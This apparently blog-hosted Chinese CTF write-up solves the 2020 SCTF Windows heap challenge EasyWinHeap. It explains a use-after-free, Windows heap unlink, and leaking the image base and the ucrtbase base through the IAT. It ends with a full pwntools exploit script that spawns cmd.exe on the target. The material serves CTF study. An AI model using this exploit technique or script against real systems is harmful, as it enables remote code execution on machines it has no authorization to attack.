2020 SCTF-EasyWinHeap

[toc]

0x01 查看文件

基本上该开启的都开起了

0x02 IDA分析

标准的菜单题目:

alloc、delete、show、edit、exit五个功能。
这里有个UAF,删除了没清空,但是却不能向linux中的double free来利用。
create的时候发现写了一个puts函数指针到堆中: pust | (size>>4)+1
show这里还调用了在堆中的一个函数指针puts。

这个题放在linux中就很简单了:UAF泄露出函数指针,根据libc算出基址找到system,利用UAF来先改掉函数指针,再写入/bin/sh到堆中show出来即可。

0x03 知识补充

我们还得先把附件中的东西搞清楚:

这里有五个附件,分别是:KERNEL.32.dll、KERNELBASE.dll、ntdll.dll、ucrtbase.dll、vcruntime140.dll五个。

把msvcrt.dll,msvcrxxx.dll,ucrtbase.dll当成libc.so就好。

动态链接编译可执行文件时.so/.lib文件的用处以及ELF与PE文件的区别:

编译一个动态链接的程序时,要告诉编译器:1.我们要用什么动态库。2.确定这个库里的确有目标函数

在linux里直接通过.so在编译时完成这个任务,即gcc -l,并且在运行时也用.so。而在windows中,编译时用.lib,运行时用.dll。简单的说就是windows把linux中的.so单个文件的功能拆成了两个文件来用。而且Windows的PE文件中只包含所需要的dll名字,不包含路径,则需要按照规则搜索:Dynamic-Link Library Search Order,程序当前目录也是搜索的一个环节,所以Pwn题把dll打包到程序目录也就可以理解了。

大概知道了这几个文件的作用,那么我们就得大概了解下windows heap管理机制:(来自anglyboy师傅)

0x04 思路

第一步:通过UAF泄露heap地址,由于函数指针和malloc的heap放在一个heap中进行管理的,所以通过偏移可以找到对应heap management存放的地址

这里本身就是个heap,里面分别存放puts函数指针和heap地址。

第二步:同样的利用UAF漏洞,编辑以释放的chunk的fd和bk(linux习惯了这样的叫法,在windows实际称为Flink、Blink)

对于windows unlink攻击详细可以学习AngelBoy师傅的总结

第三步:找到system函数:在linux下我们会尝试寻找一个函数(通常就是puts)的got表,然后将其plt的值打印出来找到libc基址,通过这个基址找到system函数。只不过windows下叫做IAT表。

那么在windows上我们需要怎么做呢:首先通过泄露puts函数地址找到程序基址,之后再写入puts函数对应IAT表的地址,打印出puts函数的真实地址,这样就能找到ucrtbase.dll基址(等于libc基址)

第四步:最后写入system函数地址和cmd字符串,调用show功能即可调用system函数执行system(“cmd”)拿shell了。

0x05 调试

首先看看函数指针写入heap中:

蓝色的位置是heap地址,红色的为puts函数地址(异或之后的值)
32位和之前资料上的heap结构偏移有点区别,但是很清晰的是fd和bk指向的是heap地址

用unlink攻击成功,我们看到heap list中的heap地址是heap list地址

后面就按部就班的操作即可
再放一张拿win10 shell的图

0x06 exp

#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    p = remote("192.168.241.134",8888)
else:
    p = remote("124.70.197.50",9010)
    elf = ELF("./student_manager")
    libc = ELF("./libc-2.27.so")

def create(size):
    sla("option >\r\n",str(1))
    sla("size >\r\n",str(size))

def delete(index):
    sla("option >\r\n",str(2))
    sla("index >\r\n",str(index))

def show(index):
    sla("option >\r\n",str(3))
    sla("index >\r\n",str(index))

def edit(index,content):
    sla("option >\r\n",str(4))
    sla("index >\r\n",str(index))
    sa("content  >\r\n",content)

# step 1
create(0x80)
create(0x80)
create(0x80)
create(0x80)
create(0x80)
delete(1)
delete(3)
show(1)
heap_addr = u32(p.recvn(3).ljust(4,"\x00"))
success("heap addr ==> "+hex(heap_addr))

# step 2
block = heap_addr - 0x100
block_1 = block + 0xc
fd = block_1 - 4
bk = block_1
payload = p32(fd)+p32(bk)
edit(1,payload+"\n")
delete(0)

# step 3
payload = p32(block)+"\n"
edit(1,payload)
show(1)
image_base = u32(p.recvn(3).ljust(4,"\x00"))-0x1049
success("image base ==> "+hex(image_base))
puts_IAT = image_base + 0x20c4
edit(1,p32(image_base+0x1049)+p32(puts_IAT)+"\n")
raw_input()
show(0)
libc_base = u32(p.recvn(4).ljust(4,"\x00"))-0xb9620
success("libc addr ==> "+hex(libc_base))
system_addr = libc_base + 0xf0dc0
edit(1,p32(system_addr)+p32(heap_addr)+"\n")
edit(0,"cmd.exe\x00\n")
show(0)

p.interactive()

  Reprint policy: xiaoxin 2020 SCTF-EasyWinHeap

 Previous
2020-西湖论剑-IoT闯关赛PWN方向题目复现 2020-西湖论剑-IoT闯关赛PWN方向题目复现
pwn1 boa环境搭不起来…. 漏洞倒是看到了: 这里很明显一个溢出漏洞,追溯回去看到调用这个函数的函数功能大概是身份校验 由于没办法复现环境,也没有办法了。 pwn2这个题是个简单的协议分析题目,貌似是被非预期了,虽然环境最后还
2020-12-24
Next 
2020-拟态防御PWN解题 2020-拟态防御PWN解题
前言很早的比赛,做一个总结。凭借着师傅们的努力最终登顶! newpad:off by nulleasy_stack:格式化字符串+栈溢出rbsystem:负数溢出+利用fopen和fread函数分配的堆来leak libcgoodnote:
2020-12-09
  TOC